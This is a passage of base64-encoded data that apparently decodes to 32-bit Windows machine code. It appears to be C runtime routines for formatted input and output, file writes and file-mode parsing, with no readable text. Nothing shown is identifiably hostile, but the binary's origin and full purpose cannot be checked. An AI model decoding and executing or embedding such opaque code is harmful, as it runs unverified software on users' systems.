+Pv//4CJteD7//90YoGN+Pv//wACAADrVoPDBImd5Pv//4tb/OiPVQAAhcAPhHj6///2hfj7//8gdAxmi4Xo+///ZokD6wiLhej7//+JA8eFsPv//wEAAADp9wQAAION+Pv//0DHheD7//8KAAAA94X4+///AIAAAA+EmQEAAAPei0P4i1P86dUBAAB1EmaD+md1V8eF9Pv//wEAAADrSzvIfgiJhfT7//+LyIH5owAAAH43jbFdAQAAVujMBwAAi5Xg+///WYmFqPv//4XAdBCJhfD7//+Jtez7//+L+OsKx4X0+///owAAAIsDizXE0gIQg8MIiYWQ+///i0P8iYWU+///jYW0+///UP+1mPv//w++wv+19Pv//4md5Pv//1D/tez7//+NhZD7//9XUP81aN0EEP/W/9CLnfj7//+DxByB44AAAAB0HYO99Pv//wB1FI2FtPv//1BX/zV03QQQ/9b/0FlZZoO94Pv//2d1GIXbdRSNhbT7//9QV/81cN0EEP/W/9BZWYA/LXURgY34+///AAEAAEeJvfD7//9X6Rn+//+JtfT7///Hhaz7//8HAAAA6ySD6HMPhHv8//8rwQ+EnP7//4PoAw+FzgEAAMeFrPv//ycAAAD2hfj7//+Ax4Xg+///EAAAAA+EfP7//2owWGaJhcz7//+Lhaz7//+DwFFmiYXO+///iY3c+///6Vf+///3hfj7//8AEAAAD4VX/v//g8ME9oX4+///IHQc9oX4+///QImd5Pv//3QGD79D/OsED7dD/JnrF/aF+Pv//0CLQ/x0A5nrAjPSiZ3k+///9oX4+///QHQbhdJ/F3wEhcBzEffYg9IA99qBjfj7//8AAQAA94X4+///AJAAAIv6i9h1AjP/g730+///AH0Mx4X0+///AQAAAOsag6X4+///97gAAgAAOYX0+///fgaJhfT7//+LwwvHdQYhhdz7//+Ntfv9//+LhfT7////jfT7//+FwH8Gi8MLx3Qti4Xg+///mVJQV1Pok1QAAIPBMImdjPv//4vYi/qD+Tl+BgONrPv//4gOTuu9jYX7/f//K8ZG94X4+///AAIAAImF7Pv//4m18Pv//3RehcB0B4vGgDgwdFP/jfD7//+LhfD7////hez7///GADDrPIXbdQuhdNQEEImF8Pv//4uF8Pv//8eF0Pv//wEAAADrCU9mgzgAdAYDwYX/dfMrhfD7///R+ImF7Pv//4O9sPv//wAPhagBAACLhfj7//+oQHQrqQABAAB0BGot6w6oAXQEaivrBqgCdBRqIFlmiY3M+///x4Xc+///AQAAAIu92Pv//yu97Pv//yu93Pv//4m94Pv//6gMdSTrHouF1Pv//2ogjbXo+///T+jC6f//g73o+////1l0BIX/f97/tdz7//+LvZz7//+LndT7//+Nhcz7//9QjYXo+///6If1///2hfj7//8IWVl0L/aF+Pv//wR1Jou94Pv//+saajCNtej7//+Lw0/oZOn//4O96Pv///9ZdASF/3/ig73Q+///AHVri53s+///hdt+YYu98Pv//42FtPv//1CLhbT7////sKwAAACNhaT7//9XUEvo1G4AAIPEEImFjPv//4XAfiT/taT7//+LhdT7//+Ntej7///o+Oj//wO9jPv//1mF23+w6y6Djej7////6yX/tez7//+LvZz7////tfD7//+LndT7//+Nhej7///otvT//1lZg73o+///AHwz9oX4+///BHQqi73g+///6x6LhdT7//9qII216Pv//0/oj+j//4O96Pv///9ZdASF/3/eg72o+///AHQT/7Wo+///6H+w//+Dpaj7//8AWYu9oPv//4ud5Pv//w+3BzP2iYXg+///ZjvGdAeL0Olx9f//ObXE+///dA2DvcT7//8HD4UB9f//gL3A+///AHQKi4W8+///g2Bw/YuF6Pv//4tN/F9eM81b6G6r///Jw41JAPQXAhD0FQIQJhYCEIEWAhDNFgIQ2RYCEB8XAhAWGAIQi/9Vi+yD7ExWjUW0UP8VYNICEGpAaiBeVui/AgAAWVkzyTvBdQiDyP/pDwIAAI2QAAgAAKOABgUQiTVsBgUQO8JzNoPABYNI+/9mx0D/AAqJSANmx0AfAArGQCEKiUgziEgvizWABgUQg8BAjVD7gcYACAAAO9ZyzVNXZjlN5g+EDgEAAItF6DvBD4QDAQAAixiDwASJRfwDw74ACAAAiUX4O958AoveOR1sBgUQfWu/hAYFEGpAaiDoHwIAAFlZhcB0UYMFbAYFECCNiAAIAACJBzvBczGDwAWDSPv/g2ADAIBgH4CDYDMAZsdA/wAKZsdAIAoKxkAvAIsPg8BAA86NUPs70XLSg8cEOR1sBgUQfKLr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AY2NROX//1FQ/7Ug5f//Q/+FQOX///8VDNMCEIvwhfYPhD0EAABqAI2FLOX//1BWjUX0UIuFJOX//4sA/zQH/xX00gIQhcAPhAoEAACLhUDl//+LjTDl//8DwYmFOOX//zm1LOX//w+M9gMAAIO9HOX//wAPhM0AAABqAI2FLOX//1BqAY1F9FCLhSTl//+LAMZF9A3/NAf/FfTSAhCFwA+EsQMAAIO9LOX//wEPjLADAAD/hTDl////hTjl///pgwAAADwBdAQ8AnUhD7czM8mD/goPlMGDwwKDhUDl//8CibVE5f//iY0c5f//PAF0BDwCdVL/tUTl///oyWYAAFlmO4VE5f//D4VJAwAAg4U45f//AoO9HOX//wB0KWoNWFCJhUTl///onGYAAFlmO4VE5f//D4UcAwAA/4U45f///4Uw5f//i0UQOYVA5f//D4L5/f//6QgDAACLDooT/4U45f//iFQPNIsOiUQPOOnvAgAAM8mLA/ZEOASAD4ShAgAAgL0/5f//AImNROX//w+FqAAAAIudNOX//zlNEA+G/QIAAIvLM/YrjTTl//+NhUjl//87TRBzJooTQ0GJnSDl//+A+gp1C/+FMOX//8YADUBGiBBARoH+/xMAAHLVi/CNhUjl//8r8GoAjYUo5f//UFaNhUjl//9Qi4Uk5f//iwD/NAf/FfTSAhCFwA+EQwIAAIuFKOX//wGFOOX//zvGD4w7AgAAi8MrhTTl//87RRAPgmz////pJQIAAIC9P+X//wIPhc0AAACLnTTl//85TRAPhkgCAACDpUDl//8Ai8srjTTl//9qAo2FSOX//147TRBzQw+3EwPeA86JnSDl//+D+gp1GgG1MOX//2oNW2aJGIudIOX//wPGAbVA5f//AbVA5f//ZokQA8aBvUDl///+EwAAcriL8I2FSOX//yvwagCNhSjl//9QVo2FSOX//1CLhSTl//+LAP80B/8V9NICEIXAD4RpAQAAi4Uo5f//AYU45f//O8YPjGEBAACLwyuFNOX//ztFEA+CR////+lLAQAAi4U05f//iYUs5f//OU0QD4Z1AQAAi40s5f//g6VA5f//ACuNNOX//2oCjYVI+f//XjtNEHM7i5Us5f//D7cSAbUs5f//A86D+gp1DmoNW2aJGAPGAbVA5f//AbVA5f//ZokQA8aBvUDl//+oBgAAcsAz9lZWaFUNAACNjfDr//9RjY1I+f//K8GZK8LR+FCLwVBWaOn9AAD/FQzTAhCL2DveD4SXAAAAagCNhSjl//9Qi8MrxlCNhDXw6///UIuFJOX//4sA/zQH/xX00gIQhcB0DAO1KOX//zvef8vrDP8V+NICEImFROX//zvef1yLhSzl//8rhTTl//+JhTjl//87RRAPggv////rP1GNjSjl//9R/3UQ/7U05f///zQ4/xX00gIQhcB0FYuFKOX//4OlROX//wCJhTjl///rDP8V+NICEImFROX//4O9OOX//wB1bIO9ROX//wB0LWoFXjm1ROX//3UU6DLB///HAAkAAADoOsH//4kw6z//tUTl///oPsH//1nrMYuFJOX//4sA9kQHBEB0D4uFNOX//4A4GnUEM8DrJOjywP//xwAcAAAA6PrA//+DIACDyP/rDIuFOOX//yuFMOX//1uLTfxfM81e6Dye///Jw2oQaFCwBBDo2Nj//4tdCIP7/nUb6L7A//+DIADoo8D//8cACQAAAIPI/+mUAAAAhdt4CDsdbAYFEHIa6JfA//+DIADofMD//8cACQAAAOjIxv//69KLw8H4BY08hYAGBRCL84PmH8HmBosHD75EMASD4AF0xlPo6wcAAFmDZfwAiwf2RDAEAXQU/3UQ/3UMU+hu+P//g8QMiUXk6xfoIsD//8cACQAAAOgqwP//gyAAg03k/8dF/P7////oDAAAAItF5Ohh2P//w4tdCFPoMwgAAFnDahBocLAEEOgE2P//i10Ig/v+dRPo17///8cACQAAAIPI/+mhAAAAhdt4CDsdbAYFEHIS6Li////HAAkAAADoBMb//+vai8PB+AWNPIWABgUQi/OD5h/B5gaLBw++RAYEg+ABdM5T6CcHAABZg2X8AIsH9kQGBAF0MVPoqgYAAFlQ/xXo0gIQhcB1C/8V+NICEIlF5OsEg2XkAIN95AB0Gehev///i03kiQjoQb///8cACQAAAINN5P/HRfz+////6AwAAACLReToiNf//8OLXQhT6FoHAABZw4v/VYvsg+wQoZAEBRAz0lNWi3UMiUX8iVX0iVX4iVXw6wODxgJmgz4gdPcPtwaD+GF0MIP4cnQjg/h3dBfo1b7//8cAFgAAAOghxf//M8DpYQIAALsBAwAA6w0z24NN/AHrCbsJAQAA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wFm5//8AAImFMP3//2Y7yA+E8g0AAIud+Pz//4u1/Pz//4uN9Pz//4XJdA2DvSj9//8AD4S8DQAAgL0v/f//AHVBg/9jdAqD/3N0BYP/e3Uyi4XU/P//ixiDwASJhdT8//+DwASJhdj8//+LQPyJnfj8//+JhfD8//+D+AEPghANAACD/28PjwYGAAAPhF8JAACD/2MPhNgEAABqZFg7+A+ESwkAAA+OEAYAAIP/Z35Mg/9pdCGD/24Phf0FAACAvS/9//8Ai4U4/f//D4QHDAAA6S4MAACJhej8//+L+IudMP3//2otWGY7ww+FQwcAAMaFHf3//wHpPwcAAGotWDPbZjuFMP3//3UMi40Y/f//ZokBQ+sMaitYZjuFMP3//3Uh/40o/f///7Ug/f///4U4/f//6KxcAAAPt8BZiYUw/f//g730/P//AHUHg40o/f////eFMP3//wD/AAAPhYwAAAAPtoUw/f//UOhCWwAAWYXAdHqLhSj9////jSj9//+FwHRqZg++hTD9//+LjRj9////hRT9//9miQRZjYXg/P//UI2FQP3//1BDU429GP3//4215Pz//+gs+v//g8QMhcAPhD4MAAD/tSD9////hTj9///oC1wAAA+3wFmJhTD9//+pAP8AAA+EdP///4uFvPz//4uAvAAAAItAMA+3MA++jTD9//+LxjvBD4X/AAAAi4Uo/f///40o/f//hcAPhOsAAAD/tSD9////hTj9///orlsAAA+3wImFMP3//4uFGP3//2aJNFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6H/5//+DxBCFwA+EkQsAAPeFMP3//wD/AAAPhYsAAAAPtoUw/f//UOgfWgAAWYXAdHmLhSj9////jSj9//+FwHRpi4UY/f//ZouNMP3///+FFP3//2aJDFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6Ar5//+DxAyFwA+EHAsAAP+1IP3///+FOP3//+jpWgAAD7fAWYmFMP3//6kA/wAAD4R1////g70U/f//AA+ElAEAAGplWGY7hTD9//90EGpFWGY7hTD9//8PhXgBAACLhSj9////jSj9//+FwA+EZAEAAIuNGP3//2plWGaJBFmNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6G74//+DxAyFwA+EgAoAAP+1IP3///+FOP3//+hNWgAAWQ+3wGotWYmFMP3//2Y7yHUuUYuNGP3//1hmiQRZjYXg/P//UI2FQP3//1BDU+gf+P//g8QMhcAPhDEKAADrDGorWGY7hTD9//91M4uFKP3///+NKP3//4XAdQghhSj9///rG/+1IP3///+FOP3//+jYWQAAD7fAWYmFMP3///eFMP3//wD/AAAPhYsAAAAPtoUw/f//UOh+WAAAWYXAdHmLhSj9////jSj9//+FwHRpi4UY/f//ZouNMP3///+FFP3//2aJDFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6Gn3//+DxAyFwA+EewkAAP+1IP3///+FOP3//+hIWQAAD7fAWYmFMP3//6kA/wAAD4R1/////7Ug/f///404/f///7Uw/f//6LH3//+DvRT9//8AWVkPhC8JAACAvS/9//8AD4UfCAAAi7Xk/P//i40Y/f///4Xs/P//M8CNdDYCVmaJBFno2Nz//4v4WYX/D4T1CAAAjUb/UP+1GP3//1ZXM/ZW6D1fAACDxBQ7xnQSg/gWD4R8CAAAg/giD4RzCAAAjYW8/P//UA++hSf9//9X/7X4/P//SFD/NWzdBBD/FcTSAhD/0Ffo0Yn//4PEFOmSBwAAhcl1EP+FKP3//8eF9Pz//wEAAACAvTf9//8AfgfGhR/9//8B/7Ug/f///404/f///7Uw/f//i/Poy/b//1lZg/9jdAb/jfD8//+DvfT8//8AdBSLhSj9////jSj9//+FwA+ExQMAAP+1IP3///+FOP3//+j7VwAAD7fQuP//AABZiZUw/f//ZjvCD4SIAwAAg/9jdFKD/3N1E4P6CXIJg/oND4ZwAwAAg/ogdTqD/3sPhWIDAAAPt8KLyDP/g+EHR9Pni43c/P//wegDD74ECA++jQP9//8zwYX4i73o/P//D4QxAwAAgL0v/f//AA+FHAMAAIO98Pz//wAPhGEHAACAvR/9//8AD4S6AgAAZokTg8MCiZ34/P//6SX///+Lx4PocA+ETQMAAIPoAw+E4f7//0hID4RDAwAAg+gDD4Qo+v//g+gDdDOLhTD9//9mOQYPhfIGAAD+jR79//+AvS/9//8AD4UnBgAAi4XU/P//iYXY/P//6RYGAACAvTf9//8AfgfGhR/9//8Bal5YjX4CZjtGAnUKjX4ExoUD/f///4u13Pz//4X2dSVoACAAAOi32v//WYmF3Pz//4XAD4TQBgAAx4XQ/P//AQAAAIvwaAAgAABqAFboOioAAIPEDGpdWGY7B3UOUFqDxwLGRgsg6ZoAAACLlbj8///pjwAAAA+3wGotWYPHAmY7yHVwZoXSdGsPtw9qXVtmO9l0YIvBg8cCZjvQcwLrBQ+3yovQiY0Q/f//ZjvRcyqLwSvCD7fAD7faiYUM/f//i8uD4QeyAdLii8PB6AMIFDBD/40M/f//deYPt40Q/f//i8GD4QeyAdLiwegDCBQwM9LrEYvIg+EHswHS44vQwegDCBwwD7cHal1ZZjvID4Vi////ZoM/AA+E6wUAAIud+Pz//4m9/Pz//4u96Pz//+lj/f//aitYZjvDdTD/jSj9//91DYXJdAnGhT/9//8B6xv/tSD9////hTj9///ohFUAAA+32FmJnTD9//9qMFhmO8MPhcgBAAD/tSD9////hTj9///oXVUAAFkPt9hqeF6JnTD9//9mO/N0VWpYWGY7w3RNx4UU/f//AQAAADv+dCODvfT8//8AdA7/jSj9//91Bv6FP/3//8eF6Pz//28AAADrXP+1IP3///+NOP3//1PolfP//1lZajBb6UoBAAD/tSD9////hTj9///o5VQAAIO99Pz//wAPt9hZiZ0w/f//dBaDrSj9//8Cg70o/f//AX0G/oU//f//ibXo/P//i73o/P//6QUBAACDpRD9//8AUv+18Pz//42FEP3//1N